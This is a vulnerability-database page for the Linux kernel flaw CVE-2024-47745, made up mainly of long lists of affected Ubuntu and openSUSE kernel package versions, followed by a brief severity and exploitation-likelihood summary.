5.4.0-47.51~18.04.15.4.0-48.52~18.04.15.4.0-51.56~18.04.15.4.0-52.57~18.04.15.4.0-53.59~18.04.15.4.0-54.60~18.04.15.4.0-56.62~18.04.15.4.0-58.64~18.04.15.4.0-59.65~18.04.15.4.0-60.67~18.04.15.4.0-62.70~18.04.15.4.0-64.72~18.04.15.4.0-65.73~18.04.15.4.0-66.74~18.04.25.4.0-67.75~18.04.15.4.0-70.78~18.04.15.4.0-71.79~18.04.15.4.0-72.80~18.04.15.4.0-73.82~18.04.15.4.0-74.83~18.04.15.4.0-77.86~18.04.15.4.0-80.90~18.04.15.4.0-81.91~18.04.15.4.0-84.94~18.04.15.4.0-86.97~18.04.15.4.0-87.98~18.04.15.4.0-89.100~18.04.15.4.0-90.101~18.04.15.4.0-91.102~18.04.15.4.0-92.103~18.04.25.4.0-94.106~18.04.15.4.0-96.109~18.04.15.4.0-97.110~18.04.15.4.0-99.112~18.04.15.4.0-100.113~18.04.15.4.0-104.118~18.04.15.4.0-105.119~18.04.15.4.0-107.121~18.04.15.4.0-109.123~18.04.15.4.0-110.124~18.04.15.4.0-113.127~18.04.15.4.0-117.132~18.04.15.4.0-120.136~18.04.15.4.0-121.137~18.04.15.4.0-122.138~18.04.1
 None known
linux-hwe-edge
Ubuntu:18.04:LTS
 All versions, plus listed versions
5.0.0-15.16~18.04.15.0.0-16.17~18.04.15.0.0-17.18~18.04.15.0.0-19.20~18.04.15.0.0-20.21~18.04.1
Show 5 moreShow less
5.3.0-19.20~18.04.25.3.0-22.24~18.04.15.3.0-23.25~18.04.15.3.0-23.25~18.04.25.3.0-24.26~18.04.2
 None known
linux-ibm-5.4
Ubuntu:Pro:18.04:LTS
 All versions, plus listed versions
5.4.0-1010.11~18.04.25.4.0-1012.13~18.04.15.4.0-1014.15~18.04.15.4.0-1015.16~18.04.15.4.0-1017.19~18.04.1
Show 45 moreShow less
5.4.0-1018.20~18.04.15.4.0-1019.21~18.04.15.4.0-1020.22~18.04.15.4.0-1021.23~18.04.15.4.0-1023.25~18.04.15.4.0-1026.29~18.04.15.4.0-1028.32~18.04.15.4.0-1029.33~18.04.15.4.0-1031.35~18.04.15.4.0-1032.36~18.04.15.4.0-1033.37~18.04.15.4.0-1034.38~18.04.15.4.0-1036.41~18.04.15.4.0-1037.42~18.04.15.4.0-1040.45~18.04.25.4.0-1041.46~18.04.15.4.0-1042.47~18.04.15.4.0-1044.49~18.04.15.4.0-1045.50~18.04.15.4.0-1046.51~18.04.15.4.0-1047.52~18.04.15.4.0-1048.53~18.04.15.4.0-1049.54~18.04.15.4.0-1050.55~18.04.15.4.0-1051.56~18.04.15.4.0-1052.57~18.04.15.4.0-1053.58~18.04.15.4.0-1054.59~18.04.15.4.0-1056.61~18.04.15.4.0-1057.62~18.04.15.4.0-1058.63~18.04.15.4.0-1059.64~18.04.15.4.0-1060.65~18.04.15.4.0-1061.66~18.04.15.4.0-1063.68~18.04.15.4.0-1064.69~18.04.15.4.0-1065.70~18.04.15.4.0-1066.71~18.04.15.4.0-1067.72~18.04.15.4.0-1068.73~18.04.15.4.0-1069.74~18.04.15.4.0-1070.75~18.04.15.4.0-1071.76~18.04.15.4.0-1072.77~18.04.15.4.0-1073.78~18.04.1
 None known
linux-kvm
Ubuntu:Pro:18.04:LTS
 All versions, plus listed versions
4.15.0-1002.24.15.0-1003.34.15.0-1004.44.15.0-1006.64.15.0-1008.8
Show 45 moreShow less
4.15.0-1010.104.15.0-1011.114.15.0-1012.124.15.0-1016.164.15.0-1017.174.15.0-1019.194.15.0-1020.204.15.0-1021.214.15.0-1023.234.15.0-1025.254.15.0-1026.264.15.0-1027.274.15.0-1028.284.15.0-1029.294.15.0-1030.304.15.0-1031.314.15.0-1032.324.15.0-1034.344.15.0-1035.354.15.0-1036.364.15.0-1038.384.15.0-1039.394.15.0-1042.424.15.0-1043.434.15.0-1044.444.15.0-1046.464.15.0-1047.474.15.0-1048.484.15.0-1050.504.15.0-1051.514.15.0-1052.524.15.0-1053.534.15.0-1056.574.15.0-1058.594.15.0-1059.604.15.0-1060.614.15.0-1067.684.15.0-1069.704.15.0-1071.724.15.0-1072.734.15.0-1074.754.15.0-1075.764.15.0-1077.794.15.0-1079.814.15.0-1081.83
 None known
linux-oem
Ubuntu:18.04:LTS
 All versions, plus listed versions
4.15.0-1002.34.15.0-1004.54.15.0-1006.94.15.0-1008.114.15.0-1009.12
Show 45 moreShow less
4.15.0-1012.154.15.0-1013.164.15.0-1015.184.15.0-1017.204.15.0-1018.214.15.0-1021.244.15.0-1024.294.15.0-1026.314.15.0-1028.334.15.0-1030.354.15.0-1033.384.15.0-1034.394.15.0-1035.404.15.0-1036.414.15.0-1038.434.15.0-1039.444.15.0-1043.484.15.0-1045.504.15.0-1050.574.15.0-1056.654.15.0-1057.664.15.0-1059.684.15.0-1063.724.15.0-1064.734.15.0-1065.754.15.0-1066.764.15.0-1067.774.15.0-1069.794.15.0-1073.834.15.0-1076.864.15.0-1079.894.15.0-1080.904.15.0-1081.914.15.0-1087.974.15.0-1090.1004.15.0-1091.1014.15.0-1093.1034.15.0-1094.1044.15.0-1096.1064.15.0-1097.1074.15.0-1099.1094.15.0-1100.1104.15.0-1101.1124.15.0-1102.1134.15.0-1103.114
 None known
linux-oracle
Ubuntu:Pro:18.04:LTS
 All versions, plus listed versions
4.15.0-1007.94.15.0-1008.104.15.0-1009.114.15.0-1010.124.15.0-1011.13
Show 45 moreShow less
4.15.0-1013.154.15.0-1014.164.15.0-1015.174.15.0-1017.194.15.0-1018.204.15.0-1021.234.15.0-1022.254.15.0-1023.264.15.0-1025.284.15.0-1026.294.15.0-1027.304.15.0-1029.324.15.0-1030.334.15.0-1031.344.15.0-1033.364.15.0-1035.394.15.0-1037.414.15.0-1038.424.15.0-1039.434.15.0-1045.494.15.0-1047.514.15.0-1048.524.15.0-1050.544.15.0-1051.554.15.0-1053.574.15.0-1054.584.15.0-1057.624.15.0-1058.644.15.0-1059.654.15.0-1061.674.15.0-1062.684.15.0-1063.704.15.0-1064.714.15.0-1065.734.15.0-1066.744.15.0-1067.754.15.0-1068.764.15.0-1069.774.15.0-1070.784.15.0-1071.794.15.0-1072.804.15.0-1075.834.15.0-1078.864.15.0-1079.874.15.0-1080.88
 None known
linux-oracle-5.0
Ubuntu:18.04:LTS
 All versions, plus listed versions
5.0.0-1007.12~18.04.15.0.0-1008.13~18.04.15.0.0-1009.14~18.04.15.0.0-1010.15~18.04.15.0.0-1011.165.0.0-1013.185.0.0-1014.19
 None known
linux-oracle-5.3
Ubuntu:18.04:LTS
 All versions, plus listed versions
5.3.0-1011.12~18.04.15.3.0-1013.14~18.04.15.3.0-1014.15~18.04.15.3.0-1016.18~18.04.15.3.0-1018.20~18.04.1
Show 4 moreShow less
5.3.0-1024.26~18.04.15.3.0-1027.29~18.04.15.3.0-1028.30~18.04.15.3.0-1030.32~18.04.1
 None known
linux-oracle-5.4
Ubuntu:Pro:18.04:LTS
 All versions, plus listed versions
5.4.0-1019.19~18.04.15.4.0-1021.21~18.04.15.4.0-1022.22~18.04.15.4.0-1024.24~18.04.15.4.0-1025.25~18.04.1
Show 45 moreShow less
5.4.0-1028.29~18.04.15.4.0-1029.31~18.04.15.4.0-1030.32~18.04.15.4.0-1033.355.4.0-1034.36~18.04.15.4.0-1035.38~18.04.15.4.0-1037.40~18.04.15.4.0-1038.41~18.04.15.4.0-1039.42~18.04.15.4.0-1041.44~18.04.15.4.0-1042.45~18.04.15.4.0-1043.46~18.04.15.4.0-1044.47~18.04.15.4.0-1046.50~18.04.25.4.0-1048.52~18.04.15.4.0-1049.53~18.04.15.4.0-1052.56~18.04.15.4.0-1053.57~18.04.15.4.0-1054.58~18.04.15.4.0-1055.59~18.04.15.4.0-1056.60~18.04.15.4.0-1057.61~18.04.15.4.0-1058.62~18.04.15.4.0-1059.63~18.04.15.4.0-1061.65~18.04.15.4.0-1062.66~18.04.15.4.0-1063.67~18.04.15.4.0-1064.68~18.04.15.4.0-1066.71~18.04.15.4.0-1067.72~18.04.15.4.0-1069.75~18.04.15.4.0-1070.76~18.04.15.4.0-1071.77~18.04.15.4.0-1073.79~18.04.15.4.0-1076.83~18.04.15.4.0-1078.86~18.04.15.4.0-1079.87~18.04.15.4.0-1081.89~18.04.15.4.0-1082.90~18.04.15.4.0-1083.91~18.04.15.4.0-1084.92~18.04.15.4.0-1086.95~18.04.15.4.0-1087.96~18.04.15.4.0-1090.99~18.04.25.4.0-1091.100~18.04.1
 None known
linux-raspi-5.4
Ubuntu:Pro:18.04:LTS
 All versions, plus listed versions
5.4.0-1013.13~18.04.15.4.0-1015.15~18.04.15.4.0-1016.17~18.04.15.4.0-1018.20~18.04.15.4.0-1019.21~18.04.1
Show 45 moreShow less
5.4.0-1021.24~18.04.15.4.0-1022.25~18.04.15.4.0-1023.26~18.04.15.4.0-1025.28~18.04.15.4.0-1026.29~18.04.15.4.0-1028.31~18.04.15.4.0-1029.32~18.04.15.4.0-1030.33~18.04.15.4.0-1032.35~18.04.15.4.0-1033.36~18.04.15.4.0-1034.37~18.04.15.4.0-1035.38~18.04.15.4.0-1036.39~18.04.15.4.0-1038.41~18.04.15.4.0-1041.45~18.04.15.4.0-1042.46~18.04.35.4.0-1043.47~18.04.15.4.0-1044.48~18.04.15.4.0-1045.49~18.04.15.4.0-1046.50~18.04.15.4.0-1047.52~18.04.15.4.0-1048.53~18.04.15.4.0-1050.56~18.04.15.4.0-1052.58~18.04.15.4.0-1053.60~18.04.15.4.0-1055.62~18.04.15.4.0-1056.63~18.04.15.4.0-1058.65~18.04.15.4.0-1059.66~18.04.15.4.0-1060.68~18.04.15.4.0-1062.70~18.04.15.4.0-1065.75~18.04.15.4.0-1066.76~18.04.15.4.0-1068.78~18.04.15.4.0-1069.79~18.04.15.4.0-1070.80~18.04.15.4.0-1071.81~18.04.15.4.0-1073.84~18.04.15.4.0-1074.85~18.04.15.4.0-1077.88~18.04.25.4.0-1078.89~18.04.15.4.0-1079.90~18.04.15.4.0-1080.91~18.04.15.4.0-1081.92~18.04.15.4.0-1082.93~18.04.1
 None known
linux-aws-fips
Ubuntu:Pro:FIPS-updates:18.04:LTS
 All versions, plus listed versions
4.15.0-2000.44.15.0-2018.184.15.0-2021.214.15.0-2022.224.15.0-2024.24
Show 45 moreShow less
4.15.0-2025.254.15.0-2026.264.15.0-2027.274.15.0-2030.314.15.0-2031.324.15.0-2033.344.15.0-2034.354.15.0-2035.374.15.0-2036.384.15.0-2037.394.15.0-2038.404.15.0-2039.414.15.0-2040.424.15.0-2041.434.15.0-2042.444.15.0-2044.464.15.0-2045.474.15.0-2048.504.15.0-2051.534.15.0-2052.544.15.0-2053.554.15.0-2054.564.15.0-2055.574.15.0-2056.584.15.0-2057.594.15.0-2059.614.15.0-2060.624.15.0-2061.634.15.0-2063.664.15.0-2064.674.15.0-2065.684.15.0-2066.694.15.0-2067.704.15.0-2069.724.15.0-2072.764.15.0-2075.804.15.0-2076.814.15.0-2078.834.15.0-2079.844.15.0-2080.854.15.0-2081.874.15.0-2082.884.15.0-2083.894.15.0-2085.914.15.0-2087.93
 None known
linux-azure-fips
Ubuntu:Pro:FIPS-updates:18.04:LTS
 All versions, plus listed versions
4.15.0-1002.24.15.0-2006.74.15.0-2007.84.15.0-2008.94.15.0-2009.10
Show 45 moreShow less
4.15.0-2012.144.15.0-2013.154.15.0-2015.174.15.0-2016.184.15.0-2017.204.15.0-2018.214.15.0-2020.234.15.0-2021.244.15.0-2022.254.15.0-2023.264.15.0-2024.274.15.0-2025.284.15.0-2026.294.15.0-2027.304.15.0-2030.334.15.0-2033.374.15.0-2034.384.15.0-2035.394.15.0-2036.404.15.0-2037.414.15.0-2038.424.15.0-2039.434.15.0-2041.454.15.0-2042.464.15.0-2043.474.15.0-2045.494.15.0-2046.504.15.0-2047.514.15.0-2048.524.15.0-2049.534.15.0-2050.544.15.0-2053.584.15.0-2056.624.15.0-2057.634.15.0-2059.654.15.0-2060.664.15.0-2062.684.15.0-2066.724.15.0-2067.734.15.0-2068.744.15.0-2070.764.15.0-2071.774.15.0-2072.784.15.0-2073.794.15.0-2074.80
 None known
linux-fips
Ubuntu:Pro:FIPS-updates:18.04:LTS
 All versions, plus listed versions
4.15.0-1027.324.15.0-1029.344.15.0-1034.394.15.0-1035.404.15.0-1037.42
Show 45 moreShow less
4.15.0-1038.434.15.0-1039.444.15.0-1040.454.15.0-1041.464.15.0-1044.504.15.0-1045.524.15.0-1046.534.15.0-1048.554.15.0-1049.564.15.0-1050.584.15.0-1051.594.15.0-1052.604.15.0-1053.614.15.0-1054.624.15.0-1055.634.15.0-1056.644.15.0-1057.654.15.0-1058.664.15.0-1059.674.15.0-1060.684.15.0-1063.714.15.0-1066.754.15.0-1067.764.15.0-1068.774.15.0-1069.784.15.0-1070.794.15.0-1071.804.15.0-1072.814.15.0-1073.824.15.0-1075.844.15.0-1076.854.15.0-1078.874.15.0-1080.894.15.0-1081.904.15.0-1083.924.15.0-1084.934.15.0-1085.944.15.0-1087.964.15.0-1090.1004.15.0-1093.1044.15.0-1094.1054.15.0-1096.1074.15.0-1097.1084.15.0-1098.1094.15.0-1099.110
 None known
linux-gcp-fips
Ubuntu:Pro:FIPS-updates:18.04:LTS
 All versions, plus listed versions
4.15.0-2013.144.15.0-2016.184.15.0-2017.194.15.0-2018.204.15.0-2019.21
Show 45 moreShow less
4.15.0-2020.224.15.0-2021.234.15.0-2022.244.15.0-2024.264.15.0-2025.274.15.0-2026.284.15.0-2028.314.15.0-2029.324.15.0-2030.334.15.0-2031.344.15.0-2032.354.15.0-2034.374.15.0-2037.414.15.0-2040.454.15.0-2041.464.15.0-2043.484.15.0-2044.494.15.0-2045.504.15.0-2047.524.15.0-2050.554.15.0-2052.574.15.0-2054.594.15.0-2055.604.15.0-2056.614.15.0-2057.624.15.0-2058.634.15.0-2059.644.15.0-2060.654.15.0-2061.664.15.0-2062.674.15.0-2063.684.15.0-2064.694.15.0-2065.704.15.0-2066.714.15.0-2067.724.15.0-2068.734.15.0-2069.744.15.0-2070.754.15.0-2071.764.15.0-2072.774.15.0-2073.784.15.0-2074.794.15.0-2075.804.15.0-2076.814.15.0-2077.83
 None known
linux-aws-fips
Ubuntu:Pro:FIPS:18.04:LTS
 All versions, plus listed versions
4.15.0-2000.4
 None known
linux-azure-fips
Ubuntu:Pro:FIPS:18.04:LTS
 All versions, plus listed versions
4.15.0-1002.2
 None known
linux-fips
Ubuntu:Pro:FIPS:18.04:LTS
 All versions, plus listed versions
4.15.0-1011.12
 None known
linux-gcp-fips
Ubuntu:Pro:FIPS:18.04:LTS
 All versions, plus listed versions
4.15.0-1001.1
 None known
linux
Ubuntu:Pro:20.04:LTS
 All versions, plus listed versions
5.3.0-18.195.3.0-24.265.4.0-9.125.4.0-18.225.4.0-21.25
Show 45 moreShow less
5.4.0-24.285.4.0-25.295.4.0-26.305.4.0-28.325.4.0-29.335.4.0-31.355.4.0-33.375.4.0-37.415.4.0-39.435.4.0-40.445.4.0-42.465.4.0-45.495.4.0-47.515.4.0-48.525.4.0-51.565.4.0-52.575.4.0-53.595.4.0-54.605.4.0-56.625.4.0-58.645.4.0-59.655.4.0-60.675.4.0-62.705.4.0-64.725.4.0-65.735.4.0-66.745.4.0-67.755.4.0-70.785.4.0-71.795.4.0-72.805.4.0-73.825.4.0-74.835.4.0-77.865.4.0-80.905.4.0-81.915.4.0-84.945.4.0-86.975.4.0-88.995.4.0-89.1005.4.0-90.1015.4.0-91.1025.4.0-92.1035.4.0-94.1065.4.0-96.1095.4.0-97.110
 None known
linux-aws
Ubuntu:Pro:20.04:LTS
 All versions, plus listed versions
5.3.0-1003.35.3.0-1008.95.3.0-1009.105.3.0-1010.115.4.0-1005.5
Show 45 moreShow less
5.4.0-1007.75.4.0-1008.85.4.0-1009.95.4.0-1011.115.4.0-1015.155.4.0-1017.175.4.0-1018.185.4.0-1020.205.4.0-1021.215.4.0-1022.225.4.0-1024.245.4.0-1025.255.4.0-1028.295.4.0-1029.305.4.0-1030.315.4.0-1032.335.4.0-1034.355.4.0-1035.375.4.0-1037.395.4.0-1038.405.4.0-1039.415.4.0-1041.435.4.0-1043.455.4.0-1045.475.4.0-1047.495.4.0-1048.505.4.0-1049.515.4.0-1051.535.4.0-1054.575.4.0-1055.585.4.0-1056.595.4.0-1057.605.4.0-1058.615.4.0-1059.625.4.0-1060.635.4.0-1061.645.4.0-1063.665.4.0-1064.675.4.0-1065.685.4.0-1066.695.4.0-1068.725.4.0-1069.735.4.0-1071.765.4.0-1072.775.4.0-1073.78
 None known
linux-aws-5.11
Ubuntu:20.04:LTS
 All versions, plus listed versions
5.11.0-1009.9~20.04.25.11.0-1014.15~20.04.15.11.0-1016.17~20.04.15.11.0-1017.18~20.04.15.11.0-1019.20~20.04.1
Show 7 moreShow less
5.11.0-1020.21~20.04.25.11.0-1021.22~20.04.25.11.0-1022.23~20.04.15.11.0-1023.24~20.04.15.11.0-1025.27~20.04.15.11.0-1027.30~20.04.15.11.0-1028.31~20.04.1
 None known
linux-aws-5.13
Ubuntu:20.04:LTS
 All versions, plus listed versions
5.13.0-1008.9~20.04.25.13.0-1011.12~20.04.15.13.0-1012.13~20.04.15.13.0-1014.15~20.04.15.13.0-1017.19~20.04.1
Show 8 moreShow less
5.13.0-1019.21~20.04.15.13.0-1021.23~20.04.25.13.0-1022.24~20.04.15.13.0-1023.25~20.04.15.13.0-1025.27~20.04.15.13.0-1028.31~20.04.15.13.0-1029.32~20.04.15.13.0-1031.35~20.04.1
 None known
linux-aws-5.15
Ubuntu:Pro:20.04:LTS
 All versions, plus listed versions
5.15.0-1014.18~20.04.15.15.0-1015.19~20.04.15.15.0-1017.21~20.04.15.15.0-1019.23~20.04.15.15.0-1020.24~20.04.1
Show 45 moreShow less
5.15.0-1021.25~20.04.15.15.0-1022.26~20.04.15.15.0-1023.27~20.04.15.15.0-1026.30~20.04.25.15.0-1027.31~20.04.15.15.0-1028.32~20.04.15.15.0-1030.34~20.04.15.15.0-1031.35~20.04.15.15.0-1033.37~20.04.15.15.0-1034.38~20.04.15.15.0-1035.39~20.04.15.15.0-1036.40~20.04.15.15.0-1037.41~20.04.15.15.0-1038.43~20.04.15.15.0-1039.44~20.04.15.15.0-1040.45~20.04.15.15.0-1041.46~20.04.15.15.0-1043.48~20.04.15.15.0-1044.49~20.04.15.15.0-1045.50~20.04.15.15.0-1047.52~20.04.15.15.0-1048.53~20.04.15.15.0-1049.54~20.04.15.15.0-1050.55~20.04.15.15.0-1051.56~20.04.15.15.0-1052.57~20.04.15.15.0-1053.58~20.04.15.15.0-1055.60~20.04.15.15.0-1056.61~20.04.15.15.0-1057.63~20.04.15.15.0-1058.64~20.04.15.15.0-1061.67~20.04.15.15.0-1062.68~20.04.15.15.0-1063.69~20.04.15.15.0-1064.70~20.04.15.15.0-1065.71~20.04.15.15.0-1066.72~20.04.15.15.0-1067.73~20.04.15.15.0-1068.74~20.04.15.15.0-1069.75~20.04.15.15.0-1070.76~20.04.15.15.0-1071.77~20.04.15.15.0-1072.78~20.04.15.15.0-1073.79~20.04.15.15.0-1075.82~20.04.1
 None known
linux-aws-5.8
Ubuntu:20.04:LTS
 All versions, plus listed versions
5.8.0-1035.37~20.04.15.8.0-1038.40~20.04.15.8.0-1041.43~20.04.15.8.0-1042.44~20.04.1
 None known
linux-azure
Ubuntu:Pro:20.04:LTS
 All versions, plus listed versions
5.3.0-1003.35.3.0-1008.95.3.0-1009.105.4.0-1006.65.4.0-1008.8
Show 45 moreShow less
5.4.0-1009.95.4.0-1010.105.4.0-1012.125.4.0-1016.165.4.0-1019.195.4.0-1020.205.4.0-1022.225.4.0-1023.235.4.0-1025.255.4.0-1026.265.4.0-1031.325.4.0-1032.335.4.0-1034.355.4.0-1035.365.4.0-1036.385.4.0-1039.415.4.0-1040.425.4.0-1041.435.4.0-1043.455.4.0-1044.465.4.0-1046.485.4.0-1047.495.4.0-1048.505.4.0-1049.515.4.0-1051.535.4.0-1055.575.4.0-1056.585.4.0-1058.605.4.0-1059.625.4.0-1061.645.4.0-1062.655.4.0-1063.665.4.0-1064.675.4.0-1065.685.4.0-1067.705.4.0-1068.715.4.0-1069.725.4.0-1070.735.4.0-1072.755.4.0-1073.765.4.0-1074.775.4.0-1077.805.4.0-1078.815.4.0-1080.835.4.0-1083.87
 None known
linux-azure-5.11
Ubuntu:20.04:LTS
 All versions, plus listed versions
5.11.0-1007.7~20.04.25.11.0-1012.13~20.04.15.11.0-1013.14~20.04.15.11.0-1015.16~20.04.15.11.0-1017.18~20.04.1
Show 8 moreShow less
5.11.0-1019.20~20.04.15.11.0-1020.21~20.04.15.11.0-1021.22~20.04.15.11.0-1022.23~20.04.15.11.0-1023.24~20.04.15.11.0-1025.27~20.04.15.11.0-1027.30~20.04.15.11.0-1028.31~20.04.2
 None known
linux-azure-5.13
Ubuntu:20.04:LTS
 All versions, plus listed versions
5.13.0-1009.10~20.04.25.13.0-1012.14~20.04.15.13.0-1013.15~20.04.15.13.0-1014.16~20.04.15.13.0-1017.19~20.04.1
Show 7 moreShow less
5.13.0-1021.24~20.04.15.13.0-1022.26~20.04.15.13.0-1023.27~20.04.15.13.0-1025.29~20.04.15.13.0-1028.33~20.04.15.13.0-1029.34~20.04.15.13.0-1031.37~20.04.1
 None known
kernel-source
openSUSE:Tumbleweed
From an advisory covering 486 CVEs
 before 6.11.8-1.1
6.11.8-1.1
kernel-source-longterm
openSUSE:Tumbleweed
From an advisory covering 504 CVEs
 before 6.12.11-1.1
6.12.11-1.1

History

History
RecordedChangedSources
affectedOSV
affectedOSV
affected
factsOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2024-47745 is a high vulnerability (CVSS 7.8) in Debian Linux, published October 21, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.28%, the 20th percentile. Fixed in kernel 6.6.56.1-5.

References

Show 194 moreShow less
This page doesn't list everything

Left out here: 693 package rows, 2,371 versions, 4,569 references and the rest of 27 source descriptions. The JSON record has them. Left out on purpose, here and in the API, to keep responses small: 11 source records.

Pages All vulnerabilities Browse Docs Sources Guide Get API key
MoveEnter Open